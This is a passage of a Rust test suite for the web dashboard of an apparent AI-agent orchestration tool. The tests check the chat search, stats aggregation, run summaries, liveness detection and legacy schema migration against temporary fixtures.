15895 std::fs::write(dir.join(format!("{id}.json")), doc.to_string()).expect("write talk");
15896 }
15897
15898 #[tokio::test]
15899 async fn search_chats_reads_title_and_turns_and_counts_unreadable() {
15900 let f = Fixture::start().await;
15901 write_talk(
15902 &f,
15903 "20260901-000001-aaaa",
15904 "open",
15905 &[
15906 (
15907 "operator",
15908 "\n Why does the Pangolin cache expire?\nsecond line",
15909 ),
15910 ("agent", "Because the TTL is thirty seconds."),
15911 ],
15912 );
15913 write_talk(
15914 &f,
15915 "20260901-000002-bbbb",
15916 "closed",
15917 &[("operator", "unrelated"), ("agent", "The Zebra moved on.")],
15918 );
15919 std::fs::write(f.home.path().join("talks/broken.json"), "{ nope").expect("broken");
15920
15921 let search = |q: &'static str| {
15922 let f = &f;
15923 async move {
15924 f.get(&format!("/api/search?scope=chats&q={q}"))
15925 .await
15926 .json()
15927 }
15928 };
15929
15930 let v = search("PANGOLIN").await;
15931 assert_eq!(v["scope"], "chats");
15932 assert_eq!(v["total"], 1, "{v}");
15933 assert_eq!(v["hits"][0]["id"], "20260901-000001-aaaa");
15934 assert_eq!(v["hits"][0]["field"], "title");
15935 assert_eq!(v["unreadable"], 1, "{v}");
15936 let marked: Vec<&str> = v["hits"][0]["snippet"]
15937 .as_array()
15938 .unwrap()
15939 .iter()
15940 .filter(|p| p["hit"] == true)
15941 .map(|p| p["text"].as_str().unwrap())
15942 .collect();
15943 assert_eq!(marked, ["Pangolin"]);
15944
15945 let v = search("zebra").await;
15947 assert_eq!(v["total"], 1, "{v}");
15948 assert_eq!(v["hits"][0]["field"], "agent");
15949 assert_eq!(search("pangolin%20thirty").await["total"], 1);
15951 assert_eq!(search("pangolin%20zebra").await["total"], 0);
15952 for q in ["claude-agent", "SecretRepoPath", "open", "closed"] {
15954 assert_eq!(search(q).await["total"], 0, "{q}");
15955 }
15956 assert_eq!(search("second").await["hits"][0]["field"], "operator");
15958 assert_eq!(search("the").await["hits"][0]["id"], "20260901-000001-aaaa");
15960
15961 let v = f.get("/api/search?scope=nope&q=a").await;
15962 assert_eq!(v.status, 400);
15963 assert!(
15964 v.body.contains("scope must be runs, tasks or chats"),
15965 "{}",
15966 v.body
15967 );
15968 }
15969
15970 #[test]
15971 fn a_question_card_links_a_task_id_to_the_task_page() {
15972 let start = APP_JS
15973 .find("function updateAskCard(")
15974 .expect("updateAskCard exists");
15975 let body = &APP_JS[start..];
15976 let body = &body[..body.find("\n}\n").expect("function end")];
15977 assert!(body.contains("question.run_is_task"));
15978 assert!(body.contains("`#/tasks/${encodeURIComponent(question.run)}`"));
15979 assert!(body.contains("`#/runs/${question.run}`"));
15980 assert!(body.contains("\"task\" : \"run\""));
15981 }
15982
15983 #[test]
15984 fn plain_text_message_surfaces_go_through_linkify() {
15985 assert!(APP_JS.contains("function linkify("));
15986 assert!(!APP_JS.contains("class: \"event-msg\", text:"));
15987 assert!(!APP_JS.contains("class: \"notice-msg\", text:"));
15988 assert!(APP_JS.contains("linkify(el(\"span\", { class: \"event-msg\" })"));
15989 assert!(APP_JS.contains("linkify(el(\"div\", { class: \"notice-msg\" })"));
15990 assert!(!APP_JS.contains("innerHTML = text"));
15991 }
15992
15993 #[test]
15994 fn implementation_rate_views_keep_independent_samples() {
15995 for (competitive_n, solo_n) in [(0, 0), (9, 10), (10, 9)] {
15996 let a = stats::AgentStats {
15997 competitive_entered: competitive_n,
15998 competitive_wins: usize::from(competitive_n > 0),
15999 solo_entered: solo_n,
16000 solo_adopted: 2 * usize::from(solo_n > 0),
16001 ..Default::default()
16002 };
16003 let v = serde_json::to_value(AgentStatsView::from(&a)).unwrap();
16004 for (key, n, numerator) in [
16005 ("competitive_win_rate", competitive_n, a.competitive_wins),
16006 ("solo_adoption_rate", solo_n, a.solo_adopted),
16007 ] {
16008 if n == 0 {
16009 assert!(v[key].is_null());
16010 } else {
16011 assert_eq!(v[key]["denominator"], n);
16012 assert_eq!(v[key]["pct"], 100.0 * numerator as f64 / n as f64);
16013 }
16014 }
16015 }
16016 assert!(APP_JS.contains("rate: a.competitive_win_rate"));
16017 assert!(APP_JS.contains("rate: a.solo_adoption_rate"));
16018 assert!(APP_JS.contains("r.rate.denominator < STATS_LOW_N"));
16019 assert!(APP_JS.contains("const STATS_LOW_N = 10;"));
16020 }
16021
16022 #[test]
16023 fn stats_bars_share_one_id_keyed_plan() {
16024 let start = APP_JS
16025 .find("function statsBarRows(")
16026 .expect("statsBarRows exists");
16027 let body = &APP_JS[start..];
16028 let body = &body[..body.find("\n}\n").expect("function end")];
16029 assert!(body.contains("statsBarPlan(rows)"));
16030 assert!(body.contains("statsAgentTone(row.agent)"));
16031 assert!(!body.contains("candTone(i)"));
16032 assert!(APP_JS.contains("const STATS_LOW_N = 10;"));
16033 for root in [
16034 "stats-agents-bars",
16035 "stats-solo-bars",
16036 "stats-reviewers-bars",
16037 ] {
16038 assert!(APP_JS.contains(&format!("statsBarRows($(\"{root}\")")));
16039 }
16040 }
16041
16042 #[test]
16043 fn the_precision_scatter_is_a_pure_plan_in_the_agents_colour() {
16044 let start = APP_JS
16045 .find("function renderStatsReviewerScatter(")
16046 .expect("renderStatsReviewerScatter exists");
16047 let body = &APP_JS[start..];
16048 let body = &body[..body.find("\n}\n").expect("function end")];
16049 assert!(body.contains("statsScatterPlan(reviewers)"));
16050 assert!(body.contains("statsAgentTone(d.agent)"));
16051 assert!(APP_JS.contains("function statsScatterPlan("));
16052 assert!(
16053 APP_JS.contains("d.submitted < STATS_LOW_N")
16054 || APP_JS.contains("r.submitted < STATS_LOW_N")
16055 );
16056 assert!(INDEX_HTML.contains("id=\"stats-reviewers-scatter\""));
16057 assert!(APP_CSS.contains(".precision-scatter"));
16058 }
16059
16060 #[test]
16061 fn advisor_reflection_is_drawn_as_stacked_segments() {
16062 assert!(APP_JS.contains("statsReflectionRows($(\"stats-advisors-bars\")"));
16063 assert!(APP_JS.contains("const STATS_SEG_MIN = 4;"));
16064 let html = include_str!("../assets/ui/index.html");
16065 assert!(html.contains("Approximate"));
16066 for label in ["reflected strongly", "faint", "no proposal"] {
16067 assert!(html.contains(label));
16068 }
16069 let css = include_str!("../assets/ui/app.css");
16070 for c in ["refl-strong", "refl-faint", "refl-absent"] {
16071 assert!(css.contains(&format!(".{c} {{")));
16072 }
16073 }
16074
16075 #[test]
16076 fn stats_daily_chart_is_planned_purely_and_rendered_from_the_api() {
16077 assert!(APP_JS.contains("function statsDailyPlan("));
16078 assert!(APP_JS.contains("renderStatsDaily(s.daily)"));
16079 assert!(INDEX_HTML.contains("id=\"stats-daily\""));
16080 }
16081
16082 #[test]
16083 fn a_keystroke_invalidates_the_search_reply_still_in_flight() {
16084 let start = APP_JS
16085 .find("function scheduleSearch(")
16086 .expect("scheduleSearch exists");
16087 let body = &APP_JS[start..];
16088 let body = &body[..body.find("\n}\n").expect("function end")];
16089 assert!(body.contains("s.seq += 1"));
16090 }
16091
16092 #[tokio::test]
16097 async fn stats_runs_unreadable_matches_health() {
16098 let f = Fixture::start().await;
16099 write_run(&f.runs(), "20260902-140501-good", RunStatus::Ready);
16100 let broken = f.runs().join("20260902-140502-bad");
16101 std::fs::create_dir_all(&broken).expect("run dir");
16102 std::fs::write(broken.join("run.json"), "{ truncated").expect("write run.json");
16103
16104 let stats = f.get("/api/stats").await;
16105 let health = f.get("/api/health").await;
16106
16107 assert_eq!(stats.status, 200);
16108 assert_eq!(stats.json()["totals"]["runs"], 1);
16109 assert_eq!(stats.json()["runs_unreadable"], 1);
16110 assert_eq!(
16111 stats.json()["runs_unreadable"],
16112 health.json()["runs_unreadable"],
16113 "the dashboard and /api/health must never disagree about how many \
16114 runs could not be read"
16115 );
16116 }
16117
16118 #[tokio::test]
16119 async fn stats_verdict_breakdown_covers_stalled_and_in_progress_runs() {
16120 let f = Fixture::start().await;
16121 write_run(&f.runs(), "20260902-140501-a", RunStatus::Merged);
16122 write_run(&f.runs(), "20260902-140502-b", RunStatus::Stalled);
16123 write_run(&f.runs(), "20260902-140503-c", RunStatus::Implementing);
16124
16125 let totals = &f.get("/api/stats").await.json()["totals"];
16126 assert_eq!(totals["runs"], 3);
16127 assert_eq!(totals["merged"], 1);
16128 assert_eq!(totals["stalled"], 1);
16129 assert_eq!(totals["in_progress"], 1);
16130 assert_eq!(totals["blocked"], 0);
16133 assert_eq!(totals["ready"], 0);
16134 }
16135
16136 #[tokio::test]
16137 async fn stats_advisors_report_proposals_and_reflection() {
16138 use crate::advise::{Advice, AdvisorRecord, Reflection};
16139 use crate::verdict::Proposal;
16140
16141 let f = Fixture::start().await;
16142 let mut state = RunState::new(
16143 PathBuf::from("/repo/magi"),
16144 "main".to_owned(),
16145 "0123456789abcdef".to_owned(),
16146 "task".to_owned(),
16147 Config::default(),
16148 );
16149 state.id = "20260902-140501-a".to_owned();
16150 state.status = RunStatus::Merged;
16151 state.advice = Some(Advice {
16152 records: vec![
16153 AdvisorRecord {
16154 seat: "advisor-1".to_owned(),
16155 agent: "alpha".to_owned(),
16156 proposal: Some(Proposal {
16157 approach: "do it".to_owned(),
16158 key_tradeoff: "speed over memory".to_owned(),
16159 risks: Vec::new(),
16160 touches: Vec::new(),
16161 why_not_naive: "breaks under load".to_owned(),
16162 }),
16163 error: None,
16164 duration_ms: 0,
16165 reflection: Reflection::Strong,
16166 },
16167 AdvisorRecord {
16168 seat: "advisor-2".to_owned(),
16169 agent: "alpha".to_owned(),
16170 proposal: None,
16171 error: Some("timed out".to_owned()),
16172 duration_ms: 0,
16173 reflection: Reflection::Absent,
16174 },
16175 ],
16176 synthesis: Some("blended brief".to_owned()),
16177 });
16178 let dir = f.runs().join(&state.id);
16179 std::fs::create_dir_all(&dir).expect("run dir");
16180 std::fs::write(
16181 dir.join("run.json"),
16182 serde_json::to_string_pretty(&state).expect("serialize run"),
16183 )
16184 .expect("write run.json");
16185
16186 let advisors = f.get("/api/stats?all=true").await.json()["advisors"].clone();
16188 let alpha = advisors
16189 .as_array()
16190 .expect("an array")
16191 .iter()
16192 .find(|a| a["agent"] == "alpha")
16193 .expect("alpha row");
16194 assert_eq!(alpha["seated"], 2);
16195 assert_eq!(alpha["proposed"], 1);
16196 assert_eq!(alpha["absent"], 1);
16197 assert_eq!(alpha["strong"], 1);
16198 assert_eq!(alpha["faint"], 0);
16199 assert_eq!(alpha["reflection_rate"]["pct"], 100.0);
16200 }
16201
16202 #[tokio::test]
16203 async fn stats_hides_agents_outside_the_roster_unless_all() {
16204 use crate::run::Candidate;
16205 let repo = TempDir::new().expect("repo dir");
16206 std::fs::write(
16207 repo.path().join("magi.toml"),
16208 "[[agents]]\nid = \"keep\"\nkind = \"claude\"\n",
16209 )
16210 .expect("magi.toml");
16211 let f = Fixture::with_repo(repo.path().to_path_buf()).await;
16212 let mut state = RunState::new(
16213 PathBuf::from("/repo/magi"),
16214 "main".to_owned(),
16215 "0123456789abcdef".to_owned(),
16216 "task".to_owned(),
16217 Config::default(),
16218 );
16219 state.id = "20260902-140501-a".to_owned();
16220 state.status = RunStatus::Merged;
16221 for (label, agent) in [('A', "keep"), ('B', "retired")] {
16222 let mut c: Candidate = serde_json::from_value(serde_json::json!({
16223 "index": 0, "label": label.to_string(), "agent": agent,
16224 "branch": "b", "worktree": "/w",
16225 }))
16226 .expect("candidate");
16227 c.label = label;
16228 state.candidates.push(c);
16229 }
16230 let dir = f.runs().join(&state.id);
16231 std::fs::create_dir_all(&dir).expect("run dir");
16232 std::fs::write(
16233 dir.join("run.json"),
16234 serde_json::to_string_pretty(&state).expect("serialize run"),
16235 )
16236 .expect("write run.json");
16237
16238 let agents_of = |v: &serde_json::Value| -> Vec<String> {
16239 v["agents"]
16240 .as_array()
16241 .expect("array")
16242 .iter()
16243 .map(|a| a["agent"].as_str().unwrap().to_owned())
16244 .collect()
16245 };
16246 let hidden = f.get("/api/stats").await.json();
16247 assert_eq!(agents_of(&hidden), ["keep"]);
16248 assert_eq!(hidden["retired_hidden"], serde_json::json!(["retired"]));
16249 assert_eq!(hidden["totals"]["runs"], 1);
16250
16251 let all = f.get("/api/stats?all=true").await.json();
16252 assert_eq!(agents_of(&all).len(), 2);
16253 assert_eq!(all["retired_hidden"], serde_json::json!([]));
16254 let keep_agent = all["agents"]
16256 .as_array()
16257 .unwrap()
16258 .iter()
16259 .find(|a| a["agent"] == "keep")
16260 .unwrap();
16261 assert_eq!(keep_agent["competitive_entered"], 1);
16262 assert_eq!(keep_agent["competitive_wins"], 0);
16263 assert_eq!(keep_agent["competitive_win_rate"]["pct"], 0.0);
16264 assert_eq!(keep_agent["solo_entered"], 0);
16265 assert_eq!(keep_agent["solo_adopted"], 0);
16266 assert!(keep_agent["solo_adoption_rate"].is_null());
16267 }
16268
16269 #[tokio::test]
16270 async fn stats_release_bumps_split_clean_from_attention() {
16271 use crate::run::ReleaseBump;
16272
16273 let f = Fixture::start().await;
16274
16275 let mut clean = RunState::new(
16276 PathBuf::from("/repo/magi"),
16277 "main".to_owned(),
16278 "0123456789abcdef".to_owned(),
16279 "task".to_owned(),
16280 Config::default(),
16281 );
16282 clean.id = "20260902-140501-a".to_owned();
16283 clean.status = RunStatus::Merged;
16284 clean.release_bump = Some(ReleaseBump {
16285 pr_url: Some("https://github.com/o/r/pull/1".to_owned()),
16286 version: Some("1.0.0".to_owned()),
16287 automerge_enabled: true,
16288 merged_directly: false,
16289 local: false,
16290 release: None,
16291 problem: None,
16292 action_required: None,
16293 });
16294
16295 let mut blocked = RunState::new(
16296 PathBuf::from("/repo/magi"),
16297 "main".to_owned(),
16298 "0123456789abcdef".to_owned(),
16299 "task".to_owned(),
16300 Config::default(),
16301 );
16302 blocked.id = "20260902-140502-b".to_owned();
16303 blocked.status = RunStatus::Merged;
16304 blocked.release_bump = Some(ReleaseBump {
16305 pr_url: Some("https://github.com/o/r/pull/2".to_owned()),
16306 version: Some("1.0.1".to_owned()),
16307 automerge_enabled: false,
16308 merged_directly: false,
16309 local: false,
16310 release: None,
16311 problem: Some("checks red".to_owned()),
16312 action_required: Some("look at the PR".to_owned()),
16313 });
16314
16315 for state in [&clean, &blocked] {
16316 let dir = f.runs().join(&state.id);
16317 std::fs::create_dir_all(&dir).expect("run dir");
16318 std::fs::write(
16319 dir.join("run.json"),
16320 serde_json::to_string_pretty(state).expect("serialize run"),
16321 )
16322 .expect("write run.json");
16323 }
16324
16325 let bumps = f.get("/api/stats").await.json()["release_bumps"].clone();
16326 assert_eq!(bumps["merged"], 2);
16327 assert_eq!(bumps["recorded"], 2);
16328 assert_eq!(bumps["pr_opened"], 2);
16329 assert_eq!(bumps["automerge_enabled"], 1);
16330 assert_eq!(bumps["needs_attention"], 1);
16331 assert_eq!(bumps["clean"], 1);
16332 assert_eq!(bumps["coverage_rate"]["pct"], 100.0);
16333 assert_eq!(bumps["attention_rate"]["pct"], 50.0);
16334 }
16335
16336 #[tokio::test]
16337 async fn stats_release_bumps_rates_are_null_with_nothing_recorded() {
16338 let f = Fixture::start().await;
16339 write_run(&f.runs(), "20260902-140501-a", RunStatus::Merged);
16340
16341 let bumps = f.get("/api/stats").await.json()["release_bumps"].clone();
16342 assert_eq!(bumps["merged"], 1);
16343 assert_eq!(bumps["recorded"], 0);
16344 assert_eq!(bumps["coverage_rate"]["pct"], 0.0);
16347 assert_eq!(bumps["automerge_rate"], Value::Null);
16350 assert_eq!(bumps["attention_rate"], Value::Null);
16351 }
16352
16353 #[tokio::test]
16354 async fn stats_queue_counts_come_from_the_live_queue() {
16355 let f = Fixture::start().await;
16356 let q = f.queue();
16357 let mut queued = Task::new(
16358 "queued task".to_owned(),
16359 "do it".to_owned(),
16360 PathBuf::from("/repo"),
16361 Source::Human,
16362 );
16363 q.put(&mut queued).expect("put queued");
16364 let mut held = Task::new(
16365 "held task".to_owned(),
16366 "do it later".to_owned(),
16367 PathBuf::from("/repo"),
16368 Source::Human,
16369 );
16370 held.hold_machine(Some("out of attempts".to_owned()));
16371 q.put(&mut held).expect("put held");
16372
16373 let queue = f.get("/api/stats").await.json()["queue"].clone();
16374 assert_eq!(queue["queued"], 1);
16375 assert_eq!(queue["held"], 1);
16376 assert_eq!(queue["running"], 0);
16377 assert_eq!(queue["done"], 0);
16378 assert_eq!(queue["failed"], 0);
16379 assert_eq!(queue["blocked"], 0);
16380 }
16381
16382 #[tokio::test]
16383 async fn stats_on_an_empty_home_is_all_zero_not_an_error() {
16384 let f = Fixture::start().await;
16385 let stats = f.get("/api/stats").await;
16386 assert_eq!(stats.status, 200);
16387 assert_eq!(stats.json()["totals"]["runs"], 0);
16388 assert_eq!(stats.json()["totals"]["completion_rate"], Value::Null);
16389 assert_eq!(stats.json()["runs_unreadable"], 0);
16390 assert!(stats.json()["agents"].as_array().unwrap().is_empty());
16391 assert!(stats.json()["advisors"].as_array().unwrap().is_empty());
16392 assert!(stats.json()["repos"].as_array().unwrap().is_empty());
16393 assert_eq!(stats.json()["repo"], Value::Null);
16394 }
16395
16396 #[tokio::test]
16397 async fn stats_lists_every_repository_with_runs_recorded() {
16398 let f = Fixture::start().await;
16399 write_run_repo(
16400 &f.runs(),
16401 "20260902-140501-a",
16402 RunStatus::Merged,
16403 "/repos/a",
16404 );
16405 write_run_repo(
16406 &f.runs(),
16407 "20260902-140502-b",
16408 RunStatus::Merged,
16409 "/repos/a",
16410 );
16411 write_run_repo(
16412 &f.runs(),
16413 "20260902-140503-c",
16414 RunStatus::Blocked,
16415 "/repos/b",
16416 );
16417
16418 let stats = f.get("/api/stats").await;
16419 assert_eq!(stats.status, 200);
16420 assert_eq!(stats.json()["totals"]["runs"], 3);
16422 assert_eq!(stats.json()["repo"], Value::Null);
16423
16424 let repos = stats.json()["repos"].clone();
16425 let repos = repos.as_array().unwrap();
16426 assert_eq!(repos.len(), 2);
16427 assert_eq!(repos[0]["repo"], "/repos/a");
16429 assert_eq!(repos[0]["name"], "a");
16430 assert_eq!(repos[0]["runs"], 2);
16431 assert_eq!(repos[1]["repo"], "/repos/b");
16432 assert_eq!(repos[1]["runs"], 1);
16433 }
16434
16435 #[tokio::test]
16436 async fn stats_repo_query_narrows_the_aggregate_to_one_repository() {
16437 let f = Fixture::start().await;
16438 write_run_repo(
16439 &f.runs(),
16440 "20260902-140501-a",
16441 RunStatus::Merged,
16442 "/repos/a",
16443 );
16444 write_run_repo(
16445 &f.runs(),
16446 "20260902-140502-b",
16447 RunStatus::Blocked,
16448 "/repos/b",
16449 );
16450
16451 let stats = f.get("/api/stats?repo=%2Frepos%2Fa").await;
16452 assert_eq!(stats.status, 200);
16453 assert_eq!(stats.json()["totals"]["runs"], 1);
16454 assert_eq!(stats.json()["totals"]["merged"], 1);
16455 assert_eq!(stats.json()["repo"], "/repos/a");
16456 assert_eq!(stats.json()["repos"].as_array().unwrap().len(), 2);
16459 assert_eq!(stats.json()["runs_unreadable"], 0);
16462 }
16463
16464 #[tokio::test]
16465 async fn stats_daily_is_thirty_ascending_days_scoped_by_repo() {
16466 let f = Fixture::start().await;
16467 write_run_repo(
16468 &f.runs(),
16469 "20260902-140501-a",
16470 RunStatus::Merged,
16471 "/repos/a",
16472 );
16473 write_run_repo(
16474 &f.runs(),
16475 "20260902-140502-b",
16476 RunStatus::Merged,
16477 "/repos/b",
16478 );
16479
16480 for uri in ["/api/stats", "/api/stats?repo=%2Frepos%2Fa"] {
16481 let json = f.get(uri).await.json();
16482 let daily = json["daily"].as_array().expect("daily is an array");
16483 assert_eq!(daily.len(), 30);
16484 let dates: Vec<&str> = daily.iter().map(|d| d["date"].as_str().unwrap()).collect();
16485 let mut sorted = dates.clone();
16486 sorted.sort();
16487 assert_eq!(dates, sorted);
16488 for d in daily {
16489 assert_eq!(
16490 d["merged"].as_u64().unwrap()
16491 + d["ready"].as_u64().unwrap()
16492 + d["other"].as_u64().unwrap(),
16493 d["runs"].as_u64().unwrap()
16494 );
16495 }
16496 assert!(json["totals"]["runs"].as_u64().unwrap() >= 1);
16497 }
16498 }
16499
16500 #[tokio::test]
16501 async fn stats_repo_query_for_an_unknown_repo_is_a_404() {
16502 let f = Fixture::start().await;
16503 write_run_repo(
16504 &f.runs(),
16505 "20260902-140501-a",
16506 RunStatus::Merged,
16507 "/repos/a",
16508 );
16509
16510 let stats = f.get("/api/stats?repo=%2Frepos%2Fnope").await;
16511 assert_eq!(stats.status, 404);
16512 }
16513
16514 #[tokio::test]
16515 async fn a_run_is_summarised_for_the_list_and_served_whole_on_its_own_route() {
16516 let f = Fixture::start().await;
16517 write_run(&f.runs(), "20260902-140501-a1b2", RunStatus::Ready);
16518
16519 let summary = f.get("/api/runs").await.json();
16520 let row = &summary[0];
16521 assert_eq!(row["short"], "a1b2");
16522 assert_eq!(row["status"], "ready");
16523 assert_eq!(row["done"], true);
16524 assert_eq!(row["title"], "Add a web UI");
16525 assert_eq!(row["repo_name"], "magi");
16526 assert_eq!(row["judges"], 3);
16527 assert_eq!(row["winner"], Value::Null);
16528 assert_eq!(row["reviews"], 0);
16529
16530 let detail = f.get("/api/runs/a1b2").await;
16533 assert_eq!(detail.status, 200);
16534 assert_eq!(detail.json()["base_branch"], "main");
16535 assert_eq!(detail.json()["id"], "20260902-140501-a1b2");
16536 }
16537
16538 #[tokio::test]
16546 async fn a_mode_none_ready_run_is_flagged_unmerged_by_design_everywhere() {
16547 let f = Fixture::start().await;
16548
16549 let mut none_run = RunState::new(
16550 PathBuf::from("/repo/magi"),
16551 "main".to_owned(),
16552 "0123456789abcdef".to_owned(),
16553 "Add a web UI".to_owned(),
16554 Config::default(),
16555 );
16556 none_run.id = "20260902-140503-none".to_owned();
16557 none_run.status = RunStatus::Ready;
16558 none_run.merge = Some(crate::run::MergeOutcome {
16559 mode: crate::config::MergeMode::None,
16560 ok: true,
16561 detail: "git -C /repo merge --no-ff magi/x/A".to_owned(),
16562 empty: false,
16563 });
16564 write_state(&f.runs(), &none_run);
16565
16566 let mut pr_run = RunState::new(
16567 PathBuf::from("/repo/magi"),
16568 "main".to_owned(),
16569 "0123456789abcdef".to_owned(),
16570 "Add a web UI".to_owned(),
16571 Config::default(),
16572 );
16573 pr_run.id = "20260902-140504-prcl".to_owned();
16574 pr_run.status = RunStatus::Ready;
16575 pr_run.merge = Some(crate::run::MergeOutcome {
16576 mode: crate::config::MergeMode::Pr,
16577 ok: false,
16578 detail: "https://example.com/pr/1 was closed without merging".to_owned(),
16579 empty: false,
16580 });
16581 write_state(&f.runs(), &pr_run);
16582
16583 let summary = f.get("/api/runs").await.json();
16584 let rows: std::collections::HashMap<&str, &Value> = summary
16585 .as_array()
16586 .expect("an array")
16587 .iter()
16588 .map(|r| (r["id"].as_str().expect("an id"), r))
16589 .collect();
16590 assert_eq!(rows[none_run.id.as_str()]["status"], "ready");
16591 assert_eq!(
16592 rows[none_run.id.as_str()]["unmerged_by_design"],
16593 true,
16594 "a mode-none Ready must be flagged in the list"
16595 );
16596 assert_eq!(
16597 rows[pr_run.id.as_str()]["unmerged_by_design"],
16598 false,
16599 "a Ready reached by a closed pull request is a different case"
16600 );
16601
16602 let none_detail = f.get(&format!("/api/runs/{}", none_run.id)).await.json();
16603 assert_eq!(none_detail["status"], "ready");
16604 assert_eq!(none_detail["unmerged_by_design"], true);
16605
16606 let pr_detail = f.get(&format!("/api/runs/{}", pr_run.id)).await.json();
16607 assert_eq!(pr_detail["unmerged_by_design"], false);
16608 }
16609
16610 #[tokio::test]
16615 async fn run_detail_reports_active_seats_and_whether_a_daemon_confirms_them() {
16616 let f = Fixture::start().await;
16617 let id = "20260902-140502-bbbb";
16621 let mut state = RunState::new(
16622 PathBuf::from("/repo/magi"),
16623 "main".to_owned(),
16624 "0123456789abcdef".to_owned(),
16625 "Add a web UI".to_owned(),
16626 Config::default(),
16627 );
16628 state.id = id.to_owned();
16629 state.status = RunStatus::Judging;
16630 state.seat_started("judge", "judge-2", std::time::Duration::from_secs(120), 0);
16631 let dir = f.runs().join(id);
16632 std::fs::create_dir_all(&dir).expect("run dir");
16633 std::fs::write(
16634 dir.join("run.json"),
16635 serde_json::to_string_pretty(&state).expect("serialize run"),
16636 )
16637 .expect("write run.json");
16638
16639 let cold = f.get(&format!("/api/runs/{id}")).await.json();
16645 assert_eq!(cold["active"]["judge-2"]["node"], "judge");
16646 assert_eq!(cold["live"], "unknown", "{cold}");
16647
16648 write_daemon(f.home.path(), Timestamp::now());
16651 let warm = f.get(&format!("/api/runs/{id}")).await.json();
16652 assert_eq!(warm["live"], "live", "{warm}");
16653 }
16654
16655 #[test]
16656 fn schema_thirteen_loads_through_cli_and_web_without_rewriting() {
16657 let home = tempfile::tempdir().expect("temp home");
16658 let runs = home.path().join("runs");
16659 for origin in [None, Some(crate::run::Origin::queue("legacy-task"))] {
16660 let mut state = RunState::new(
16661 PathBuf::from("/repo/magi"),
16662 "main".to_owned(),
16663 "0123456789abcdef".to_owned(),
16664 "Generated review context, not authored task criteria".to_owned(),
16665 Config::default(),
16666 );
16667 state.origin = origin;
16668 state.status = RunStatus::Blocked;
16669 state.driver_exited = false;
16671 state.gate_ran = true;
16672 let expected = serde_json::to_value(&state).expect("serialize current state");
16673 let mut legacy = expected.clone();
16674 legacy["schema"] = serde_json::json!(13);
16675 legacy.as_object_mut().unwrap().remove("task_instruction");
16676 let dir = runs.join(&state.id);
16677 std::fs::create_dir_all(&dir).expect("run dir");
16678 let path = dir.join("run.json");
16679 let body = serde_json::to_vec_pretty(&legacy).expect("serialize legacy state");
16680 std::fs::write(&path, &body).expect("write legacy run");
16681
16682 for loaded in [
16683 RunState::load_under(&state.id, home.path()).expect("CLI migration"),
16684 read_run(&runs, &state.id).expect("web migration"),
16685 ] {
16686 assert_eq!(loaded.schema, crate::run::SCHEMA);
16687 assert!(loaded.task_instruction.is_none());
16688 assert_eq!(serde_json::to_value(loaded).unwrap(), expected);
16689 }
16690 assert_eq!(runs_unreadable(&runs), 0);
16691 assert_eq!(std::fs::read(&path).unwrap(), body);
16692 }
16693 }
16694
16695 #[tokio::test]
16698 async fn run_detail_shows_the_origin_and_reads_a_pre_origin_run_as_unknown() {
16699 let f = Fixture::start().await;
16700 let write = |id: &str, origin: Option<crate::run::Origin>, schema: Option<u32>| {
16701 let mut state = RunState::new(
16702 PathBuf::from("/repo/magi"),
16703 "main".to_owned(),
16704 "0123456789abcdef".to_owned(),
16705 "Add a web UI".to_owned(),
16706 Config::default(),
16707 );
16708 state.id = id.to_owned();
16709 state.origin = origin;
16710 let mut value = serde_json::to_value(&state).expect("serialize run");
16711 if let Some(schema) = schema {
16712 value["schema"] = serde_json::json!(schema);
16713 value.as_object_mut().unwrap().remove("origin");
16714 }
16715 let dir = f.runs().join(id);
16716 std::fs::create_dir_all(&dir).expect("run dir");
16717 std::fs::write(dir.join("run.json"), value.to_string()).expect("write run.json");
16718 };
16719 write(
16720 "20260930-092817-ec34",
16721 Some(crate::run::Origin::from_agent_env(
16722 Some(("4a7b".to_owned(), "chat".to_owned())),
16723 None,
16724 )),
16725 None,
16726 );
16727 write("20260930-092817-0ld1", None, Some(12));
16728
16729 let new = f.get("/api/runs/20260930-092817-ec34").await.json();
16730 assert_eq!(new["origin_label"], "chat 4a7b", "{new}");
16731 assert_eq!(new["origin"]["by"]["kind"], "chat", "{new}");
16732
16733 let old = f.get("/api/runs/20260930-092817-0ld1").await.json();
16734 assert_eq!(
16735 old["origin_label"], "origin unknown (started before origins were recorded)",
16736 "{old}"
16737 );
16738 assert!(old["origin"].is_null(), "{old}");
16739
16740 let list = f.get("/api/runs").await.json();
16741 let labels: Vec<_> = list
16742 .as_array()
16743 .unwrap()
16744 .iter()
16745 .map(|r| r["origin_label"].as_str().unwrap().to_owned())
16746 .collect();
16747 assert!(labels.contains(&"chat 4a7b".to_owned()), "{list}");
16748 }
16749
16750 #[tokio::test]
16757 async fn run_detail_reads_a_manual_run_with_a_live_driver_pid_as_live_without_a_daemon() {
16758 let f = Fixture::start().await;
16759 let id = "20260922-090000-cccc";
16760 let mut state = RunState::new(
16761 PathBuf::from("/repo/magi"),
16762 "main".to_owned(),
16763 "0123456789abcdef".to_owned(),
16764 "Review only".to_owned(),
16765 Config::default(),
16766 );
16767 state.id = id.to_owned();
16768 state.status = RunStatus::Reviewing;
16769 state.seat_started("review", "review-1", std::time::Duration::from_secs(120), 0);
16770 state.driver_pid = Some(std::process::id());
16776 state.driver_started_at = Some(
16777 crate::proc::process_started_at(std::process::id())
16778 .expect("this test process's own start time must be queryable"),
16779 );
16780 let dir = f.runs().join(id);
16781 std::fs::create_dir_all(&dir).expect("run dir");
16782 std::fs::write(
16783 dir.join("run.json"),
16784 serde_json::to_string_pretty(&state).expect("serialize run"),
16785 )
16786 .expect("write run.json");
16787
16788 let detail = f.get(&format!("/api/runs/{id}")).await.json();
16789 assert_eq!(detail["live"], "live", "{detail}");
16790 }
16791
16792 #[tokio::test]
16798 async fn run_detail_reads_a_live_pid_as_dead_once_its_start_time_no_longer_matches() {
16799 let f = Fixture::start().await;
16800 let id = "20260922-090100-dddd";
16801 let mut state = RunState::new(
16802 PathBuf::from("/repo/magi"),
16803 "main".to_owned(),
16804 "0123456789abcdef".to_owned(),
16805 "Review only".to_owned(),
16806 Config::default(),
16807 );
16808 state.id = id.to_owned();
16809 state.status = RunStatus::Reviewing;
16810 state.seat_started("review", "review-1", std::time::Duration::from_secs(120), 0);
16811 state.driver_pid = Some(std::process::id());
16816 state.driver_started_at = Some("1".to_owned());
16817 let dir = f.runs().join(id);
16818 std::fs::create_dir_all(&dir).expect("run dir");
16819 std::fs::write(
16820 dir.join("run.json"),
16821 serde_json::to_string_pretty(&state).expect("serialize run"),
16822 )
16823 .expect("write run.json");
16824
16825 let detail = f.get(&format!("/api/runs/{id}")).await.json();
